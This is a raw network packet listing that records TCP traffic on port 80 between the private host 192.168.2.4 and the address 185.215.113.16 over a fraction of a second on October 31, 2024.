Oct 31, 2024 04:15:12.029603004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029613018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029637098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029805899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029824972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029850006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029870987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029874086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029891968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029896021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029979944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029985905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029999018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030009985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030025005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030051947 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.030118942 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.030179024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030195951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030245066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.030313015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030324936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030334949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030345917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030356884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030368090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030416965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.030416965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.030638933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030651093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030659914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030669928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030680895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030692101 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.030705929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030716896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030728102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.030730009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.031106949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.031229973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031240940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031258106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031267881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031279087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031290054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031301022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031322956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031327009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.031327009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.031336069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031346083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031349897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.031357050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031368017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031371117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.031378984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031389952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031395912 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.031400919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031409025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.031411886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031424046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.031467915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.032154083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032166004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032176018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032186985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032196999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032207966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032219887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032226086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.032232046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032244921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032254934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032265902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032265902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.032274961 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.032278061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032289982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032300949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032305002 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.032313108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.032337904 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.032362938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.032362938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.033109903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033122063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033130884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033142090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033153057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033164978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033175945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033179998 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.033185959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033196926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033207893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033221960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033231974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033241987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.033243895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033255100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033266068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033269882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.033276081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033291101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033297062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.033302069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033319950 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.033373117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.033373117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.033926010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033937931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033948898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033967972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033978939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033988953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.033989906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.033999920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034010887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034023046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034028053 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.034034967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034045935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034055948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034069061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034080029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034080029 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.034095049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.034095049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.034097910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034109116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034135103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.034173012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.034866095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034878969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034893990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034904957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034917116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034928083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034938097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034943104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.034950018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034960985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034971952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034976006 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.034985065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.034995079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035002947 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.035003901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035015106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035026073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035028934 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.035037041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035048962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035073996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.035131931 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.035173893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.035618067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035629988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035638094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035696983 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.035696983 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.035701036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035711050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035721064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035732031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.035756111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.036005974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.072164059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.072177887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.072189093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.072205067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.072237015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.072348118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.077245951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.077281952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.077291965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.077363014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.077512980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.077646971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.149059057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.149122000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.149133921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.150531054 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.215034962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215059996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215071917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215109110 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.215189934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215202093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215210915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215223074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215234041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.215234995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215281963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.215442896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215455055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215498924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.215584993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215595007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215605021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215616941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215629101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215631962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.215641022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215651989 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.215651989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215662956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215678930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.215703011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.215869904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215887070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215898037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215909958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215923071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215930939 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.215931892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.215970993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.216206074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216217041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216228008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216238976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216249943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216258049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.216259003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216284990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.216305017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.216490030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216500998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216510057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216521025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216532946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216542006 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.216545105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216556072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216567039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216577053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.216590881 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.216629982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217029095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217039108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217048883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217060089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217070103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217076063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217082024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217092991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217113972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217123032 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217125893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217139006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217149973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217149973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217161894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217171907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217171907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217181921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217192888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217200994 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217204094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217216969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217241049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217263937 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217761993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217773914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217782974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217792988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217803955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217816114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217822075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217827082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217832088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217842102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217850924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217861891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217864990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217874050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217885971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217894077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217897892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217909098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217920065 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.217921019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217931032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.217977047 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.218020916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.218549013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218559980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218569994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218580961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218591928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218600035 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.218604088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218616009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218626976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218637943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218650103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218661070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218669891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.218673944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218686104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218698025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218702078 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.218709946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218720913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218729973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.218732119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218743086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.218765020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.218792915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.219486952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219499111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219508886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219520092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219530106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219537020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.219543934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219554901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219571114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.219571114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219583035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219594002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219604015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219604015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.219610929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219621897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219634056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219635010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.219645023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219657898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219661951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.219667912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219680071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219688892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.219691992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219703913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.219712019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.219733953 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.220297098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220308065 CET	80	49738	185.215.113.16	192.168.2.4
